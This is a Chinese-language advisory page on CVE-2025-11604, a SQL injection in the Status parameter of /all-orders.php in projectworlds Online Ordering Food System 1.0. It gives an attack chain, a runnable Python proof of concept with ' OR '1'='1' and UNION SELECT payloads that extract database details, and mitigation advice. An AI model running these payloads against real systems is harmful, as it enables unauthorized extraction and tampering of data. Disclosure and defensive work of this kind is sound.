IPBUF安全漏洞报告
English
CVE-2025-11604 CVSS 7.3 高危

CVE-2025-11604:Online Ordering Food System SQL注入漏洞

披露日期: 2025-10-11

漏洞信息

漏洞编号
CVE-2025-11604
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
projectworlds Online Ordering Food System

相关标签

SQL注入CVE-2025-11604Online Ordering Food Systemprojectworlds高危漏洞远程攻击无需认证PHPMySQLWeb应用漏洞

漏洞概述

CVE-2025-11604是projectworlds开发的Online Ordering Food System(在线订餐系统)1.0版本中存在的一个高危SQL注入漏洞。该漏洞于2025年10月11日由[email protected]披露,CVSS 3.1评分为7.3分,属于高危级别。漏洞位于系统的/all-orders.php文件中,具体涉及对参数Status的处理逻辑存在缺陷,攻击者可以通过精心构造的恶意SQL语句注入到该参数中,从而执行未授权的数据库操作。由于该漏洞无需认证即可利用(PR:N),且无需用户交互(UI:N),攻击者可以通过网络远程发起攻击,对系统的机密性、完整性和可用性均造成低级别的影响。值得注意的是,该漏洞的利用方式已经公开披露,潜在的攻击者可以轻易获取相关利用代码并对未打补丁的系统发起攻击。该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L,表明其攻击复杂度低,影响范围广泛。对于仍在使用该系统的企业而言,及时修复此漏洞至关重要,以避免数据泄露、篡改或系统被恶意控制的风险。

技术细节

该漏洞的核心在于Online Ordering Food System 1.0版本的/all-orders.php文件对用户输入的Status参数未进行充分的过滤和参数化处理。当系统处理订单状态查询或筛选请求时,会直接将Status参数拼接到SQL查询语句中,而没有使用预编译语句(Prepared Statements)或适当的输入验证机制。攻击者可以利用这一缺陷,通过构造包含SQL元字符(如单引号、UNION关键字、注释符等)的恶意Payload,注入到原始的SQL查询中。具体而言,攻击者可以通过类似' OR '1'='1' -- 或 UNION SELECT 等注入语句,实现以下攻击目的:1)绕过身份验证机制;2)提取数据库中的敏感信息(如用户凭证、订单数据等);3)修改或删除数据库中的记录;4)在某些数据库配置下执行系统命令。由于漏洞的利用无需认证(PR:N)且无需用户交互(UI:N),攻击者只需通过网络向目标系统的/all-orders.php端点发送包含恶意Status参数的HTTP请求即可触发漏洞。该漏洞的攻击复杂度低(AC:L),攻击向量为网络(AV:N),使得远程自动化攻击成为可能,对暴露在公网上的系统构成严重威胁。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别暴露在公网上的Online Ordering Food System 1.0实例,确定目标系统的/all-orders.php端点。
STEP 2
步骤2:漏洞探测
攻击者向/all-orders.php发送包含特殊字符(如单引号)的Status参数,检测系统是否返回数据库错误信息,确认SQL注入漏洞的存在。
STEP 3
步骤3:构造注入Payload
攻击者根据数据库类型(通常是MySQL)构造UNION或基于布尔的注入Payload,确定查询的列数和数据类型。
STEP 4
步骤4:数据提取
利用构造好的注入语句,攻击者提取数据库中的敏感信息,包括管理员凭证、用户数据、订单信息等。
STEP 5
步骤5:权限提升与持久化
攻击者可能利用提取的管理员凭证登录系统后台,进一步获取系统控制权,或植入后门实现持久化访问。
STEP 6
步骤6:数据破坏或窃取
攻击者可执行INSERT、UPDATE、DELETE等SQL语句,篡改或删除数据库中的业务数据,造成数据完整性破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11604 PoC - SQL Injection in /all-orders.php via Status parameter # Target: projectworlds Online Ordering Food System 1.0 # Vulnerable File: /all-orders.php # Vulnerable Parameter: Status import requests # Target URL configuration TARGET_URL = "http://target.com/all-orders.php" def exploit_sql_injection(target_url): """ Exploit SQL injection via the Status parameter in all-orders.php """ # Basic SQL injection payload to test vulnerability payload = "' OR '1'='1' -- " # Send malicious request params = { "Status": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(target_url, params=params, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for successful injection indicators if "error" not in response.text.lower() and response.status_code == 200: print("[+] SQL Injection appears to be successful!") print(f"[+] Response preview: {response.text[:500]}") return True else: print("[-] Injection may have failed or returned error") return False except Exception as e: print(f"[-] Error: {e}") return False def extract_data_union(target_url): """ Use UNION-based SQL injection to extract database information """ # UNION-based injection payload # Adjust column count based on actual query structure payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- " params = {"Status": payload} headers = {"User-Agent": "Mozilla/5.0"} try: response = requests.get(target_url, params=params, headers=headers, timeout=10) if response.status_code == 200: print("[+] UNION injection successful") print(response.text[:1000]) except Exception as e: print(f"[-] Error: {e}") def extract_database_info(target_url): """ Extract database version and current user information """ # Payload to extract MySQL version payload = "' UNION SELECT version(),user(),database(),4,5-- " params = {"Status": payload} headers = {"User-Agent": "Mozilla/5.0"} try: response = requests.get(target_url, params=params, headers=headers, timeout=10) if response.status_code == 200: print("[+] Database info extracted") print(response.text[:1000]) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-11604 - SQL Injection PoC") print("Target: projectworlds Online Ordering Food System 1.0") print("=" * 60) # Test basic injection exploit_sql_injection(TARGET_URL) print() # Try UNION-based extraction extract_data_union(TARGET_URL) print() # Extract database information extract_database_info(TARGET_URL)

影响范围

projectworlds Online Ordering Food System 1.0

防御指南

临时缓解措施
在等待官方补丁发布期间,建议采取以下临时缓解措施:1)通过Web服务器配置(如Nginx/Apache的rewrite规则)限制对/all-orders.php文件的直接访问;2)部署WAF规则拦截包含SQL注入特征的请求(如单引号、UNION、SELECT等关键字);3)在应用层面对Status参数进行严格的白名单验证,仅允许预定义的状态值;4)暂时关闭相关功能或限制该端点的访问权限;5)密切监控系统日志,及时发现和响应可疑的注入尝试;6)对数据库进行定期备份,以便在遭受攻击时能够快速恢复数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表